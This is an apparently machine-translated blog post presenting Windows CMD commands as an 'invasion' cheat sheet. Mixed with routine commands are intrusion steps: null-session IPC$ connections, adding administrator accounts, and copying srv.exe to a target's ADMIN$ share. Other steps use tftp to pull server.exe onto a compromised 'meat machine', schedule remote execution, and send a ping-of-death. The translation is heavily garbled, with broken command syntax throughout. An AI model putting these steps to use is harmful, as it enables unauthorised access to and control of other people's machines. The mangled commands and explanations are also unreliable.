CMD command Daquan invasion

net use ipipc $ "" / user: "" establish IPC air links
net use ipipc $ "password" / user: "User Name" to establish IPC is not empty links
net use h: ipc $ "password" / user: "username" directly after landing mapped each other C: to the local as H:
NET use H: after ipc $ landing mapped each other C: to the local as H:
NET use ipipc $ / del delete IPC links
net use h: / del delete mapped each other to the local is H: mapped
net user username password / add to create a user
net user guest / active: yes activate a guest user
net user to see which user
net user account name to view properties account of
net localgroup administrators username / add the "user" add the administrator to have administrator privileges, note: add s after the plural administrator
net start to see what services open
net start service name to open service; (such as: net start the Telnet, net start Schedule)
NET sTOP to stop a service name services
net time target ip view each other's time
net time target ip / set set the local computer time and "Destination IP" host time synchronization,Plus parameters / yes cancel confirmation message
net view to see what the local LAN open sharing
net view ip view each other within the LAN to share what turned
net config display system network settings
net logoff disconnected share
net pause to pause the service name of a service
net send ip "text message" send a message to the other
networks within the LAN is using net ver connection type and the
net share to view the local open share
net share ipc $ open ipc $ share
net share ipc $ / del delete ipc $ share
net share c $ / del delete C: share
after net user guest 12345 landing guest users to use the password changed to 12345
nET password password change the system login password
netstat -a to see which ports are open, common -an netstat
-n netstat check the network connectivity ports, commonly -an netstat
netstat -v view the ongoing work
netstat -p protocol name Example: netstat -p tcq / ip view of a protocol usage (see tcp / ip protocol usage)
the netstat -s protocol being used to view all usage
nbtstat -A ip 136-139 each other one of the ports open, then it can view each other's recent login user name (the former name of the user 03) - Note: parameters -A capitalized
trace rt - IP parameters (or computer name) traceroute (packet) parameters: "- w number" is used to set the timeout interval.
ping ip (or domain name) to the other host to send default size is 32 bytes of data, parameters: "- l [space] packet size"; "- n number of data transmission"; "- t" refers been ping.
ping -t -l 65550 ping ip death (to send files larger than 64K and has become the ping ping of death)
ipconfig (winipcfg) for windows NT and XP (windows 95 98) to view the local ip address, ipconfig available parameters. " / all "displays all the configuration information
tlist -t display a list of processes to the tree line (as an additional tool system, the default is not installed, the Support / tools folder file installation directory)
after the kill -F process name plus the -F forcibly end a process (as an additional tool system, the default is not installed, the installation folder directory Support / tools file)
del -F file name plus -F parameter can delete read-only files, / AR, / AH , / AS, / AA respectively delete read-only, hidden, system, archive files, / AR, / AH, / AS, / AA means to delete read-only, hidden, system, archive files outside addition. For example ". DEL / AR * *" means to delete all files in the directory of the current read-only, "DEL / AS * *. " Indicates to delete the current directory of all files except the file system of the
del / S / Q or a directory: rmdir / s / Q directory / S delete the directory and all subdirectories and files in the directory. At the same time using the parameter / Q cancel the delete operation of the system directly confirm the deletion. (The same two command role)
after the path move the drive letter you want to move the file path name of the file storing the mobile mobile mobile file filename, using parameter / y would cancel confirm the presence of the same file directory prompt move directly covered
fc one.txt two.txt> 3st.txt compare two files and the output difference is to 3st.txt file, ">" and ">>" redirect command is
a plan to open at id number registered task
at / delete stop all scheduled tasks, with the parameter / yes you do not need to confirm directly stop
at id number / delete a registered stop the scheduled task
at all to see the scheduled tasks
at ip time program name (or a command) / r run a program at some other time and restart your computer
finger username @host which users log in to view the last
telnet ip port far and landed server, the default port is 23
Open ip connection to IP (telnet command is a landing)
telnet in this type telnet directly on the machine will enter the machine's telnet
copy the file path name file path name 1 2 / y 1 copy files to a specified directory for the file 2, using parameter / y to confirm the cancellation of an existing directory you want to overwrite a file
copy c: srv.exe ipadmin $ local copy c: srv.exe to each other under the ADMIN
cppy 1st.jpg / 2st.txt + B / a 3st.jpg 2st.txt hiding the contents to generate 3st.jpg 1st.jpg new file Note: 2st.txt header Three rows of empty, the parameter: / b means binary, / a means ASCLL format
copy ipadmin $ svv.exe c: or: copyipadmin $ * * $ copy the other admini srv.exe shared files (all files) to the local. C:
xcopy to copy a file or directory tree destination address directory name to copy files and directory trees, with parameters / Y will not be prompted to overwrite the same file
tftp -i own IP (when using this as a springboard meat machine meat machine IP) get server.exe c: server.exe after landing, the download "IP" server.exe to the target host c: server.exe parameters: -i refers to the binary mode transmission, such as transferring files with exe, such as ASCII places without -i transmit mode (text file transfer mode)
the TFTP -i other IP put c: server.exe after landing, upload local c: server.exe to host
ftp ip port for uploading files to a server or file operations, the default port is 21 . It refers to transfer binary bin (executable file into); default transport format ASCII (text file)
route Print shows IP routing network addresses the primary display Network addres, Netmask subnet mask, gateway address Gateway addres, the interface address Interface
arp view and manipulate the ARP cache, ARP name resolution is the meaning of IP responsible for a MAC address resolves to a physical nature. arp -a will show all the information
start the program name or command / max or / min to open a new window and maximize (minimize) run a program or command
mem view cpu usage
attrib file name (directory name) to view a document (directory) attribute
attrib filename or -A -R -S -H + a + R + S + H remove the (added) archive of a file, read-only, system, hidden attribute; + is used to add a property
dir view the file, parameters: / Q display files and directories to which the user belongs systems, / T: C display the file creation time, / T: A display file was last accessed time, / T: W was last modified
date / t , time / t use this parameter "dATE / T", "tIME / T" will only display the current date and time, instead of entering a new date and time to
set the specified environment variable name = to assign character set environment variables to variables
set displays all current environment variables
set p (or other characters) shows all the current environment variables character p (or other characters) at the beginning of the
pause pause batch program, and shows: press any key to continue ....
IF in batch processing program execution condition (for more explanation see the if command and variable)
GOTO label cmd.exe batch program directed to the row with the label (a label on a line, and beginning with a colon, for example: ": start" label)
call path to the batch file name called from another batch program batch program (see further instructions call /?)
for the implementation of a specific command to a set of files for each file (see further instructions fo r commands and variables)
echo ON or off to open or close echo, only the echo without parameters displays the current echo setting
echo information shows the information on the screen
echo information >> pass.txt to save the "information" to pass.txt file in
findstr "hello" aa.txt find the string hello in aa.txt file
find the file name to find a file

Guess you like

Origin www.cnblogs.com/weigy/p/12633175.html